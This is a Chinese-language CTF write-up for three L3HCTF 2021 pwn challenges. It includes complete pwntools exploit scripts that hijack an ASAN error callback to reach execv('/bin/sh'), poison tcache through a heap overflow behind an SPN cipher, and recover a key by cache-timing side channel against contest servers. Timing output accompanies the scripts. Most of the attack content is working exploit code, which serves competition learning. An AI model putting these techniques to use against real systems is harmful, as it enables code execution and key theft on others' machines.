2021 L3HCTF Pwn 部分题目 Writeup
2021 L3HCTF Pwn Writeup
4 道题做出了 3 道,还抢到了一个二血。vuln_service
没做出来,这是一道 Windows Pwn 题目,好像到比赛结束前最后几个小时才有人解出。
这次比赛出的都是非常规 Pwn 题,做起来感觉十分新鲜。
1. checkin
1.1 程序分析
题目描述如下:
Welcome! Here are some confusing cflags:
-fsanitize=address -fsanitize-recover=address -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -fstack-protector-all -Wl,-z,relro,-z,now
nc 123.60.97.201 9999
程序启用了 clang 的 AddressSanitizer (ASAN) C / C++ 内存错误检测器。ASAN 能够检查程序运行时是否发生内存溢出、UAF 等各种内存错误。
没有开启 PIE:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ASAN: Enabled
UBSAN: Enabled
从 IDA 中可以看出,许多 ASAN 相关的函数和全局变量被直接编译进了程序中。
程序功能位于 pwn
函数,主要逻辑是:
- 首先任意地址写 1 个字节;
- 然后读取 0x20 字节的输入,并打印出来(若输入长度超过 0x18,ASAN 报告检测到栈溢出);
- 最后转跳到用户指定的任意地址。
1.2 解法
感觉是非预期解,因为没有用到读取 0x20 字节这个功能…
主要思路是不断返回main
函数实现无限次任意地址写,修改.bss
段上的变量,最后调用程序内部的execv
函数 get shell。
任意地址写部分的 EXP 代码。注意不能直接转跳到pwn
函数上,否则 ASAN 报错。
def arb_write(addr, data):
for i in range(len(data)):
v = bytes([data[i]])
p.sendafter("Welcome! A gift for you:", str(addr+i).ljust(0x20))
p.send(v)
p.sendlineafter("Leave a note.", 'a')
p.sendafter("That's all. Have fun!", p64(0x4F8130)) # main
我的解法利用了两条 gadget 来实现 get shell。
第一条是位于0x4E5EAF
的execv
gadget,需要控制r15
寄存器:
第两条 gadget 比较难找,位于0x4CAE9B
:
这条 gadget 将r15
寄存器指向可写内存地址__sanitizer::common_flags_dont_use
(0x4CAE9B
处),然后转跳到函数指针__asan::error_report_callback
指向的地址 (0x4CAF67
处)。
另外,__asan::error_message_buffer
需要设置为任意可读地址,因为执行 gadget 过程中,程序会调用memcpy
从__asan::error_message_buffer
指向的地址拷贝数据。
__sanitizer::common_flags_dont_use
、__asan::error_report_callback
和__asan::error_message_buffer
以上三个变量均位于.bss
段,可以通过上面的任意地址写原语修改为任意内容。
因此,我们可以得到如下的利用思路:
- 任意地址写,修改
__sanitizer::common_flags_dont_use
为"/bin/sh\x00"
; - 任意地址写,修改
__asan::error_report_callback
指向0x4E5EAF
(execv
gadget); - 任意地址写,修改
__asan::error_message_buffer
指向.bss
段; - 转跳到
0x4E5EAF
(设置r15
gadget)
最后,程序调用execv("/bin/sh", NULL)
get shell。
1.3 EXP
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64")
context(log_level="debug")
p = remote("123.60.97.201", 9999)
# ~ p = process("./checkin")
def arb_write(addr, data):
for i in range(len(data)):
v = bytes([data[i]])
p.sendafter("Welcome! A gift for you:", str(addr+i).ljust(0x20))
p.send(v)
p.sendlineafter("Leave a note.", 'a')
p.sendafter("That's all. Have fun!", p64(0x4F8130)) # main
BSS = 0x730B00
# __sanitizer::common_flags_dont_use
arb_write(0x7d5d88, b"/bin/sh\x00")
# __asan::error_report_callback
arb_write(0x744030, p32(0x4E5EAF))
# __asan::error_message_buffer
arb_write(0x743990, p32(BSS))
p.sendafter("Welcome! A gift for you:", str(BSS).ljust(0x20))
p.send(b'A')
p.sendlineafter("Leave a note.", 'a')
p.sendafter("That's all. Have fun!", p64(0x4CAE9B))
p.interactive()
2. spn
2.1 程序分析
漏洞是GLIBC 2.27
下的堆溢出。只要将shell
变量(地址已泄漏)置为非空,即可使用后门 get shell。
不同点是,edit 输入的数据会经过一种 SPN 密码学算法加密:
2.2 解法 & EXP
可以发现这个 SPN 算法以每 2 字节明文为一个分组,采取 ECB 模式进行加密。
通过爆破,可以得到所有 2 字节明文与密文之间的对应关系,然后对输入数据进行编码,从而将正确的数据写入到堆块上。
解决写入的问题后,就能按照常规思路劫持 tcache 将shell
变量置为非空,最后 get shell。
生成明密文字典的代码:
from pwn import *
import pickle
PBox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8, 0x0C, 0x10]
SBox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9, 0, 7]
masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100, 0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
key = 0x3A94D63F
def S_Substitution(x):
v3 = 0
for i in range(0, 16, 4):
v3 |= (SBox[((x & 0xFFFF) & (15 << i)) >> i] << i) & 0xFFFF
v3 &= 0xFFFF
return v3
def P_Substitution(x):
v3 = 0
for i in range(0, 16):
if (x & (0x8000 >> (PBox[i] - 1))):
v3 |= masks[i]
v3 &= 0xFFFF
return v3
def int8_to_uint16(x):
return u16(p16(u8(chr(x), sign=1), sign=1))
def encrypt(x):
res = []
k_0 = (key >> 16) & 0xFFFF
k_1 = (key >> 12) & 0xFFFF
k_2 = (key >> 8) & 0xFFFF
k_3 = (key >> 4) & 0xFFFF
k_4 = (key) & 0xFFFF
for i in range(0, len(x), 2):
a = (int8_to_uint16(x[i]) + (int8_to_uint16(x[i + 1]) << 8)) & 0xFFFF
b = S_Substitution((a ^ k_0))
c = P_Substitution(b)
d = S_Substitution((c ^ k_1))
e = P_Substitution(d)
f = S_Substitution((e ^ k_2))
g = P_Substitution(f) ^ k_3
h = S_Substitution(g)
res.append((h ^ k_4) & 0xFF)
res.append(((h ^ k_4) >> 8) & 0xFF)
return bytes(res)
DICT = {}
for i in range(0x10000):
v = u16(encrypt(p16(i)))
if v not in DICT.keys():
DICT[v] = [i, ]
else:
DICT[v].append(i)
with open("DICT", "wb") as fp:
pickle.dump(DICT, fp)
EXP 代码:
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64")
context(log_level="debug")
def add(idx, sz):
p.sendlineafter("0.exit", '1')
p.sendlineafter(":", str(sz))
p.sendlineafter(":", str(idx))
def edit(idx, ctx):
p.sendlineafter("0.exit", '2')
p.sendlineafter(":", str(idx))
p.sendlineafter("Size", str(len(ctx)))
p.sendafter("Content", ctx)
def free(idx):
p.sendlineafter("0.exit", '3')
p.sendlineafter(":", str(idx))
def backdoor():
p.sendlineafter("0.exit", '5')
import pickle
with open("DICT", "rb") as fp:
DICT = pickle.load(fp)
def enc(x):
x += b'\x00' * (len(x) % 2)
res = b''
for i in range(0, len(x), 2):
res += p16(DICT[u16(x[i:i+2])][0])
return res
p = remote("124.71.194.126", 9999)
# ~ p = process("./SPN_ENC")
p.recvuntil("gift:")
shell = int(p.recvline().strip(), 16)
info("shell: 0x%lx", shell)
add(0, 0x10)
add(1, 0x100)
add(2, 0x100)
free(2)
free(1)
edit(0, enc(b'\x00'*0x10 + p64(0) + p64(0x111) + p64(shell)))
add(3, 0x100)
add(4, 0x100)
edit(4, enc(p16(0xffff)))
backdoor()
p.interactive()
3. slow-spn
3.1 程序分析
其实题目本身还是挺好玩的,只是爆破和推测比较麻烦。
首先程序加载 2 字节的明文 p
和 3 字节的密钥 k
:
然后进行 SPN 加密。其中每次访问ss_box
和ss_box
数组的元素之前,将待访问元素的内存地址传递给__cacheCB
函数:
__cacheCB
函数可以进行以下操作:
- 输入
access_addr
和speed
,执行__maccess(access_addr, speed)
; - 执行
++tick; __maccess(addr, 0)
; - 退出程序;
- 执行
++tick; __maccess(addr, 1)
;
其中tick
是一个全局变量,可以视为当前访问时间。
__maccess
函数实现了程序内置的缓存机制(只做映射和记录访问时间,不做读写等其他操作)。
缓存块 Map caches
最多可以储存 0x20 个缓存块(CacheLine
对象)。
每个缓存块有三种参数:
line
表示缓存块的编号;tag
用于标记当前缓存的内存地址;last_used
记录上次访问该缓存的时间。
其中内存地址addr
与line
和tag
之间的关系如下:
line = (addr >> 5) & 0x1F
tag = addr >> 10
可知每个缓存块一共可以映射 2 ^ 5 = 32
个不同的内存地址,对应 8 个 32 位整数。
缓存内存地址的流程如下:
- 首先提取内存地址的
line
和tag
,获取caches[line]
元素; - 若元素非空且
line
和tag
一致,更新缓存块的last_used
为tick
,退出函数; - 其他情况,首先判断
caches
的大小是否超过 0x20,若是删除caches
中last_used
最小的缓存块; - 最后按照
line
和tag
创建新的缓存块,储存在caches[line]
上。
此外,若__maccess
的第二个参数isFast
为零时,创建新的缓存块时会sleep(1)
。
3.2 解法
当isFast
为零时,我们可以通过时间来判断是否创建了新的缓存块(换句话说就是是否缓存命中)。若能够缓存某个未知的内存地址,通过该方法我们可以推算出对应缓存块的line
和tag
,从而计算出这个未知内存地址的大致范围。
因此,我们可以推算出 SPN 加密时访问ss_box
和ss_box
元素的内存地址,然后减去基址得到内部的状态值,最后利用它们恢复明文和密钥。
3.2.1 猜测 line
和 tag
下面以猜测第一个状态值p
为例。
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level="error")
ss_box = 0x645110
p_box = 0x605110
p = None
def new_conn():
global p
if p:
p.close()
p = None
p = remote("124.71.173.176", 9999)
def maccess(addr, speed):
p.sendlineafter("What to do?", '1')
p.sendlineafter("Where?", str(addr))
p.sendlineafter("Speed up?", str(speed))
def maccess_addr(skip):
if skip:
p.sendlineafter("What to do?", '4')
else:
p.sendlineafter("What to do?", '2')
首先猜测&ss_box[p]
的line
:
for L in range(0x20):
# 创建新的连接
new_conn()
# 填充填满缓存,line=0, 1, 2, ..., 0x1f, tags = 0
for line in range(0x20):
addr = line << 5
maccess(addr, 1)
# 缓存 &ss_box[p]
maccess_addr(1)
# 设 isFast=0,测试 line=L 的缓存是否被改动
addr = L << 5
maccess(addr, 0)
# 记录访问缓存时间
st = time.time()
p.recvuntil("What to do?")
tt = time.time() - st
print(f"line={L} => {tt}")
结果如下。除了line=0
,只有line=29
的时间超过1
(即原有的缓存块被&ss_box[p]
的代替了),因此可以推出&ss_box[p]
缓存的line
为29
。
line=0 => 1.437652587890625
line=1 => 0.05334758758544922
line=2 => 0.05812478065490723
line=3 => 0.05626940727233887
line=4 => 0.05224442481994629
line=5 => 0.05900454521179199
line=6 => 0.06533241271972656
line=7 => 0.06871199607849121
line=8 => 0.06755805015563965
line=9 => 0.06142616271972656
line=10 => 0.060669660568237305
line=11 => 0.06068015098571777
line=12 => 0.06043267250061035
line=13 => 0.060537099838256836
line=14 => 0.18114805221557617
line=15 => 0.06032705307006836
line=16 => 0.07859230041503906
line=17 => 0.06040787696838379
line=18 => 0.0610356330871582
line=19 => 0.05806779861450195
line=20 => 0.05977463722229004
line=21 => 0.06037282943725586
line=22 => 0.06166815757751465
line=23 => 0.07347869873046875
line=24 => 0.07869768142700195
line=25 => 0.06096649169921875
line=26 => 0.06134486198425293
line=27 => 0.06112265586853027
line=28 => 0.058809757232666016
line=29 => 1.119048833847046
line=30 => 0.0582425594329834
line=31 => 0.060294151306152344
接下来猜测tags
。
首先获取所有ss_box
元素可能的tag
:
base = ss_box
line = 29
tags = []
for addr in range(base, base+0x40000, 4):
if (addr >> 5) & 0x1F == line:
tag = addr >> 10
if not tag in tags:
tags.append(tag)
然后逐一爆破即可,一共需要爆破 256 次:
for i in range(len(tags)):
new_conn()
# 缓存 &ss_box[p]
maccess_addr(1)
# 设 isFast=0,测试缓存是否命中
addr = (line << 5) + (tags[i] << 10)
maccess(addr, 0)
# 记录访问缓存时间
st = time.time()
p.recvuntil("What to do?")
tt = time.time() - st
print(f"tag={tags[i]} => {tt}")
根据结果,只有当tag=6436
的时间不超过1
(恰好命中&ss_box[p]
的缓存),因此可以推出&ss_box[p]
缓存的tag
为6436
。
tag=6420 => 1.3517262935638428
tag=6421 => 1.3701674938201904
tag=6422 => 1.1290912628173828
tag=6423 => 1.1635472774505615
tag=6424 => 1.7297284603118896
tag=6425 => 1.3870885372161865
tag=6426 => 1.497328281402588
tag=6427 => 1.1404621601104736
tag=6428 => 1.2946512699127197
tag=6429 => 1.1146717071533203
tag=6430 => 1.289802074432373
tag=6431 => 1.617581844329834
tag=6432 => 1.2620739936828613
tag=6433 => 1.2836086750030518
tag=6434 => 1.1681303977966309
tag=6435 => 1.273608684539795
tag=6436 => 0.0708317756652832
tag=6437 => 1.114633560180664
tag=6438 => 1.3979425430297852
tag=6439 => 1.420658826828003
......
综上得到&ss_box[p]
的line
和tag
分别为29
和6436
,对应内存地址范围为0x6493a0~0x6493c0
。
line = 29
tag = 6436
base = ss_box
saddr = (line << 5) + (tag << 10)
for addr in range(saddr, saddr+32, 4):
print(hex((addr-ss_box)//4))
减去ss_box
基址和取 32 位整数地址后,可以得到p
的可能取值为:
0x10a4
0x10a5
0x10a6
0x10a7
0x10a8
0x10a9
0x10aa
0x10ab
按照上面的方法,可以逐一得到除&p_box[v4]
之外的元素地址缓存line
和tag
:
&ss_box[p] : (6436, 29)
&p_box[v10] : (6242, 21)
&ss_box[v9] : (6493, 13)
&p_box[v8] : (6207, 4)
&ss_box[v7] : (6427, 26)
&p_box[v6] : (6396, 15)
&ss_box[v5] : (6577, 17)
计算出下列状态值的可能取值(每个缓存块可以映射 8 个 32 位整数的地址):
p v10 v9 v8 v7 v6 v5
0x10a4 0x4e64 0x4924 0x2adc 0x78c 0xe834 0x9d44
0x10a5 0x4e65 0x4925 0x2add 0x78d 0xe835 0x9d45
0x10a6 0x4e66 0x4926 0x2ade 0x78e 0xe836 0x9d46
0x10a7 0x4e67 0x4927 0x2adf 0x78f 0xe837 0x9d47
0x10a8 0x4e68 0x4928 0x2ae0 0x790 0xe838 0x9d48
0x10a9 0x4e69 0x4929 0x2ae1 0x791 0xe839 0x9d49
0x10aa 0x4e6a 0x492a 0x2ae2 0x792 0xe83a 0x9d4a
0x10ab 0x4e6b 0x492b 0x2ae3 0x793 0xe83b 0x9d4b
3.2.2 推导 p
和 k
首先根据以下式子筛选p
、v6
、v7
、v8
、v9
和 v10
:
v10 = ss_box[p];
v8 = ss_box[v9];
v6 = ss_box[v7];
然后根据筛选结果计算k >> 8
(k8
)和k >> 4
(k4
)和k & 0xFFFF
(k0
):
v9 = p_box[v10] ^ (k >> 8);
v7 = p_box[v8] ^ (k >> 4);
v5 = p_box[v6] ^ k;
由于k8
、k4
和 k0
均由k
位移得到,中间肯定存在重合的字节。
k = 0x123456
k0 = 0x3456
k4 = 0x2345
k8 = 0x1234
根据这个特性,我们可以筛选出唯一的k8
和k4
。无法确定唯一的k0
,因为我们获取不了题目最后一个状态值v4
。
通过k8
找到唯一的v10
,然后根据ss_box
可以找到p
。
v9 = p_box[v10] ^ (k >> 8);
v10 = ss_box[p];
最终结果如下。
p = 0x10a7
k = 0x1745e4 0x1745e5 0x1745e6 0x1745e7 0x1745e8 0x1745e9 0x1745ea 0x1745eb
题目描述说不必算出准确值。最后使用p = 0x10a7, k = 0x1745e7
得到了 flag。
3.3 EXP
爆破 line
和 tag
的代码:
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level="error")
ss_box = 0x645110
p_box = 0x605110
p = None
def new_conn():
global p
if p:
p.close()
p = None
p = remote("124.71.173.176", 9999)
def maccess(addr, speed):
p.sendlineafter("What to do?", '1')
p.sendlineafter("Where?", str(addr))
p.sendlineafter("Speed up?", str(speed))
def maccess_addr(skip):
if skip:
p.sendlineafter("What to do?", '4')
else:
p.sendlineafter("What to do?", '2')
def guess_cache(stage, base):
T = []
with open(f"guess_lines_{stage}", "wb") as fp:
for L in range(0x20):
new_conn()
for _ in range(stage):
maccess_addr(1)
for line in range(0x20):
maccess(line << 5, 1)
maccess_addr(1)
maccess(L << 5, 0)
st = time.time()
p.recvuntil("What to do?")
tt = time.time() - st
out = f"stage={stage} line={L} => {tt}"
print(out)
fp.write(out.encode() + b"\n")
T.append(tt)
line = 0
for i in range(1, 0x20):
if T[i] >= 1:
line = i
break
tags = []
for addr in range(base, base+0x40000, 4):
if (addr >> 5) & 0x1F == line:
tag = addr >> 10
if not tag in tags:
tags.append(tag)
T = []
with open(f"guess_tag_{stage}", "wb") as fp:
for i in range(len(tags)):
new_conn()
for _ in range(stage+1):
maccess_addr(1)
addr = (line << 5) + (tags[i] << 10)
maccess(addr, 0)
st = time.time()
p.recvuntil("What to do?")
tt = time.time() - st
out = f"stage={stage} line={line} tag={tags[i]} => {tt}"
print(out)
fp.write(out.encode() + b"\n")
T.append(tt)
for i in range(len(tags)):
if T[i] < 1:
tag = tags[i]
print(f"stage={stage} => tag={tag} line={line}")
return (tag, line)
_p = guess_cache(0, ss_box)
v10 = guess_cache(1, p_box)
v9 = guess_cache(2, ss_box)
v8 = guess_cache(3, p_box)
v7 = guess_cache(4, ss_box)
v6 = guess_cache(5, p_box)
v5 = guess_cache(6, ss_box)
C = [_p, v10, v9, v8, v7, v6, v5]
print(C)
计算 p
和 k
的代码:
#!/usr/bin/env python3
from itertools import *
import pickle
with open("ssbox", "rb") as fp:
__ss_box = pickle.load(fp)
with open("pbox", "rb") as fp:
__pbox = pickle.load(fp)
ss_box = 0x645110
p_box = 0x605110
C = [(6436, 29), (6242, 21), (6493, 13), (6207, 4), (6427, 26), (6396, 15), (6577, 17)]
def get_values(cache, base):
tag, line = cache
b = ((line << 5) + (tag << 10) - base) // 4
return [b + i for i in range(8)]
p = get_values(C[0], ss_box)
v10 = get_values(C[1], p_box)
v9 = get_values(C[2], ss_box)
v8 = get_values(C[3], p_box)
v7 = get_values(C[4], ss_box)
v6 = get_values(C[5], p_box)
v5 = get_values(C[6], ss_box)
def do_filter(check_func, *elemts):
filtered = list(filter(check_func, product(*elemts)))
res = []
for i in range(len(elemts)):
res.append(list(set(map(lambda x : x[i], filtered))))
return res
"""
v10 = ss_box[p];
v8 = ss_box[v9];
v6 = ss_box[v7];
"""
S_chk = lambda x : __ss_box[x[1]] == x[0]
v10, p = do_filter(S_chk, v10, p)
v8, v9 = do_filter(S_chk, v8, v9)
v6, v7 = do_filter(S_chk, v6, v7)
"""
v9 = p_box[v10] ^ (k >> 8);
v7 = p_box[v8] ^ (k >> 4);
v5 = p_box[v6] ^ k;
"""
P_xor = lambda x, y : [a ^ __pbox[b] for a, b in product(x, y)]
k0 = P_xor(v5, v6)
k4 = P_xor(v7, v8)
k8 = P_xor(v9, v10)
"""
k = 0x123456
k0 = 0x3456
k4 = 0x2345
k8 = 0x1234
"""
k_chk = lambda x : (x[2] & 0xFFF) == (x[1] >> 4) and (x[1] & 0xFFF) == (x[0] >> 4)
k0, k4, k8 = do_filter(k_chk, k0, k4, k8)
assert len(k4) == len(k8) == 1
"""
v9 = p_box[v10] ^ (k >> 8);
"""
k_xor = lambda x : x[1] == __pbox[x[0]] ^ k8[0]
v10, v9 = do_filter(k_xor, v10, v9)
assert len(v10) == len(v9) == 1
"""
v10 = ss_box[p];
"""
p = __ss_box.index(v10[0])
print(f"p = {hex(p)}")
print("k = ", end='')
for x in k0:
k = (k8[0] << 8) + (x & 0xff)
print(f"{hex(k)} ", end='')
print()
Comments